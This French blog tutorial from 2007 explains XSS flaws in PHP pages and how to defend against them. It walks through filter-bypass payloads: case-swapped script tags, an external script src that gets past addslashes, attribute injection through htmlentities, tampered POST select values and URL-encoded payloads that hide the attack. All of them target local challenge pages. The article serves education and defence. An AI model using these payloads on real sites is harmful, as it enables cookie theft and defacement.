Le XSS est une des failles les plus connues des failles WEB, en plus de pas être compliquée en tant que telle, dans certains contexte elle peut avoir des effets dévastateurs. Nous allons voir dans cet article comment les pirates s'en servent pour défacer un site et comment s'en protéger.





Une faille XSS, est dûe à une erreur de programmation qui permet à l'attaquant d'écrire du code à la volée dans une URL, dans une zone de saisie ou bien plus généralement lors de l'envoie de données. Les conséquences sont à mesurer en fonction de l'intention de la personne qui a trouvé la failel de sécurité. Car le XSS qui est une erreur ou une négligence de programmation - variable non filtrée dans 99% des cas - résulte simplement du résultat du code inséré, car le XSS consiste en l'injection de code dans une page WEB, le qui permet de tester un XSS est très souvent du JavaScript, mais peut être également du PHP, du SQL ou autre. (Je vous renvoie à l'article sur les injection SQL dans ce cas. Nous pouvons voir le résultat d'un XSS correctement injecté donnant à l'écran un message :


Dans ce cas le code suivant a été injecté...


<script>alert('Message test XSS');</script> 

...de la manière suivante - à savoir que le lien est URL encodé :


http://127.0.0.1/%5B%20hack%20%5D/challenges/level%201%20-%20xss.php
 ?msg=%3Cscript%3Ealert('Message%20test%20XSS');%3C/script%3E 




Il existe différentes méthodes pour se protéger des XSS, des abhérentes aux plus efficaces il y a des développeurs qui ne cherchent pas nécessairement la sécurité de leur site. Dans un certain contexte, par exemple sur un réseau intranet cela peut se comprendre étant donné que le site n'est disponible qu'en interne... mais certains ne pense pas à la sécurité de leur site internet, ou tout simplement ils n'ent ont pas conscience ou connaissance.





LOWERCASE et UPPERCASE signifie MAJUSCULE et MINUSCULE, car croyez moi certain n'ont pas envie de se casser la tête pour sécuriser leur site, ainsi ils mettent en place un filtrage de ce genre :


 <?
 
if( isset($_GET['msg']) && !strstr($_GET['msg'],"script") )
{
	echo $_GET['msg'];
}
 
 
?> 

Ce qui a pour conséquence de bien supprimer le XSS précédent, puisque ce bout de code n'affiche la variable de l'URL msg que si et seulement si msg existe et ne contient pas script . Ce qui est totalement irrationel puisque le JavaScript ne fait pas la différence entre majuscule et minuscule, on mettant msg à :


<scriPt>alert('Message test XSS');</scRipt> 

...on a bien un message qui apparait ! Ce qui est donc un filtrage absurde.





La fonction addslashes de PHP, permet d'ajouter le caractère d'échappement / au texte $str à chaque guillemet (") ou cote (') annulant ainsi les effets du code éventuellement inséré :


 <?
 
if( isset($_GET['msg']) )
{
	echo addslashes( $_GET['msg'] );
}
 
?> 

Si on reprent notre attaque précédente, le résultat côté client donne donc :


<scriPt>alert(/'Message test XSS/');</scRipt> 

Il n'est donc pas possible d'exécuter le code aussi simplement par contre...


<scriPt>alert(1337);</scRipt> 

- ou, pire -


<scriPt src=http://127.0.0.1/bypass-addslashes/redir.js/> 

...executera bien le code puisqu'il n'y a aucun caractère à échapper et surtout puisque tout ce qui est à exécuter se trouve dans un fichier, on est donc libre d'exécuter le JavaScript voulu, souvent un voleur de cookie, ou même dans le pire des cas, un exploit.





Il n'y a que très peu de moyens de contourner le filtrage de la fonction HTMLENTITIES puisque cette fonction a pour but de transformer les caractères en équivalent WEB, les principaux étant ceux utilisés dans la programmation WEB, notamment le balisage...


 & => &
 > => >
 < => <
 ' => '
 " => " 

L'injection est donc très limitée étant donné que les caractères indispensables sont convertis, cependant elle n'est pas impossible. Dans cette partie de code, qui peut para?tre abhérente, mais qui peut tout de même être utilisée, par exemple remplissage d'un formulaire, en supposant que si le formulaire est mal rempli, il reprend les valeurs déjà postées :


<?
 
echo "<form action='' method=post>";
echo   "<input type=text name=msg value='";
if( isset($_POST['nom']) )
{
   echo htmlentities($_POST['nom']);
}
echo   "' />";
echo "</form>";
 
?> 

Dans cet exemple ci, il est tout à fait possible d'appeler un bout de code javascript :


 // Par contre pour insérer il va falloir ajouter dans ce cas, le symbole ' avant et après
 onclick=alert(1337) 

L'injection se fera donc ainsi :


' onclick=alert(1337); ' 

La fonction htmlentities est donc très efficace contre les erreurs de programmation provoquant des failles de type XSS, pour améliorer la sécurité on pourra utiliser le second paramètre facultatif quote_style en lui mettant comme valeur ENT_QUOTES afin de convertir aussi le symbole '





Lorsque la longueur du champ est limité, il suffit simplement d'enregistrer la page en local (donc sur le poste de l'attaquant) puis de changer la page de destinataire du formulaire pour que l'action soit bien dirigée vers le serveur :


 
 
 <form action='login.php' method='post'>
	<input name='usr' value='' type='text' maxlength='18'>
	<input name='pwd' value='' type='password'>
	<input value='OK' type='submit'>
 </form>
 
 

Le changement se fera ainsi (donc après avoir enregistrée la page sur l'ordinateur) :


 <form action='http://127.0.0.1/challenge/hacking/ep11/login.php' method='post'>
	<input name='usr' value='' type='text'>
	<input name='pwd' value='' type='password'>
	<input value='OK' type='submit'>
 </form> 




Lors de la validation de donnée sur un formulaire d'une page internet, les données sont envoyées soit par la méthode POST, soit par la méthode GET. Dans le cas de la méthode GET, il s'agit de passer les paramètres dans l'URL, ainsi l'url transmet les informations à la page qui va les traiter :


http://127.0.0.1/challenge/hacking/ep11/login.php?username=admin&pass=m0nm0Td3pa$$e 

Le chapitre précédent traitait plus ou moins des requêtes POST, puisque dans les formulaires c'est très souvent par la méthode POST que les données sont envoyées. Cependant envoyer un XSS par requête POST, ne se fait pas seulement via un INPUTBOX. Nous allons voir dans ce chapitre que ce champs de saisie peut être autre chose.


En ce qui concerne l'altération de donnée envoyé pour des requêtes POST, il existe des modules pour Firefox, mais il n'est pas très difficile de faire un programme, grâce à des langages interprétés (notamment Python, et biensûr PHP). Cependant, le sujet est de savoir comment un attaquant envoie ses requêtes malicieuses pour mieux s'en protéger.





Sachant qu'il est possible d'envoyer du code javascript à la volée par des requêtes POST, il est donc possible de modifier les valeurs quelque soit le type de champs d'entrée, cela peut être donc sur une liste déroulante, sur une liste de cases à cocher, l'essentielle est qu'une donnée soit envoyée par la méthode POST. Avec le module "Tamper Data" ou bien "Live HTTP Header" de Firefox, il devient alors trivial de tester la possibilité de XSS sur tout les champs. Le code HTML pour générer une liste déroulante est celui-ci :


<form method=post action=''>
 
 <select name='couleur'>
	<option>Rouge</option>
	<option>Vert</option>
	<option>Bleu</option>
 </select> 
 
 <input type=submit value='OK' />
 
 </form> 

Après avoir choisi la couleur, la page doit mémoriser et afficher le choix de l'utilisateur, c'est pour cette raison qu'il y a le formulaire, pour envoyer les données et les stocker ou les afficher. Le XSS est alors possible. Le but est d'insérer du code, HTML, javascript, selon le but de la manipulation, le tout est de faire en sorte à ce que le code doit s'executer. Si la page retient la couleur choisie dans la liste déroulante, il va donc falloir la fermer pour injecter notre code :


<form method=post action=''>
 
 <select name='couleur'>
	<option>Rouge</option>
	<option></OPTION></SELECT><SCRIPT>ALERT('XSS DETECTE');</SCRIPT></option>
	<option>Bleu</option>
 </select> 
 
 <input type=submit value='OK' />
 
 </form> 

Pour utiliser Tamper Data, il suffit de le lancer via le menu Outils de Firefox, puis de démarrer l'altération. Tamper Data va capturer les données, puis proposer leur altération, leur envoie ou bien leur rejet, les données envoyées sont donc facielement modifiable à notre gré.


Il est également possible d'altérer la présentation de la page pour rendre l'injection plus simple et sans outils. Il faut bien faire attention à cibler la bonne page :


<form method=post action='http://127.0.0.1/%5B%20hack%20%5D/challenges/level%2011%20-%20xss.php'>
 
<textarea name='couleur' rows=7 cols=50> </textarea>
<input type=submit value='OK' />
 
</form> 




Il faut savoir que les différents navigateurs réagissent de manière différente face à des erreurs de programmation. C'est ce genre de détail qui va permettre l'exploitation d'une faille de sécurité logicielle dans Internet Explorer plutôt que dans Opera, Safari ou Firefox. Par exemple, Internet Explorer consulte le contenu du fichier afin de traiter son exécution, quelque soit l'extension du fichier, ainsi la page : http://127.0.0.1/mon_image.jpg dont le contenu pourrait être...


 
<html>
  <head>
    <title>Test d'execution de code par un fichier de type non HTML, de contenu HTML</title>
  </head>
  <body>
    <script>alert('Code HTML executé');</script>
  </body>
</html>
 

...sera executée comme s'il s'agissait d'une page HTML ! Ce genre de détail peut changer beaucoup de choses, mine de rien, par exemple pour executé un XSS de manière plus discrète, on peut (en plus d'URL encoder le lien) laisser un .jpg à la fin de l'URL. A savoir que ceci n'est pas valable avec Firefox, Opera.


http://127.0.0.1/hackme/msg=<img src=http://127.0.0.1/xss/ma_photo.jpg /> 




Pour masquer l'attaque il n'y a pas énormément de méthodes possibles, une qui est à retenir est l'URL Encoding, elle est simple et une fois de plus, un module Firefox existe à cette fin. La technique repose en effet sur le codage ASCII des caractères :


%30  ->  0
 %45  ->  A
 %65  ->  a
 %3C  ->  <
 %3E  ->  >
 %2F  ->  /  
 ... 


%3c%2f%53%63%52%69%70%54%3e 

Ainsi un message pourrait être transmis sous la forme (il n'y aurait aucune séparation) :


http://127.0.0.1/%5B%20hack%20%5D/challenges/level%201%20-%20xss.php?msg=
 %3c%73%43%72%69%70%54%3e%61%6c%65%72%74%28%31%33%33%37%29%3b%3c%2f%53%63%52%69%70%54%3e 




La conclusion de cet article semble assez évidente, elle met le doigt sur la qualité de programmation d'un site, la sécurité est devenue un élément primordial depuis quelques années, avec une augmentation du nombre de pirates informatiques en mal de chercher à se faire connaitre, par des actes illégaux ou amoraux. De manière générale il ne faut pas utiliser des variables provenant du poste client sans avoir effectué un filtrage, un filtrage qui ne doit pas se faire par une liste d'exclusions mais par une liste d'autorisations.

Au passage, je tiens à remercier Geo pour l'aide qu'il a pu m'apporter dans le développement Web.




   =>   Écrit par : Nicolas, le 18 décembre 2007


 
Mots clés :  
  web 
  
  php 
    >   Articles connexes :

HTTP Server, tell me who you are ?


Discuter avec un serveur web *apparement* muet ? Voici comment faire...


TLD et Indexes téléphoniques

TLD et Indexes téléphoniques



Troll The Lamer

Troll The Lamer



Se protéger des injections SQL

Se protéger des injections SQL


5842670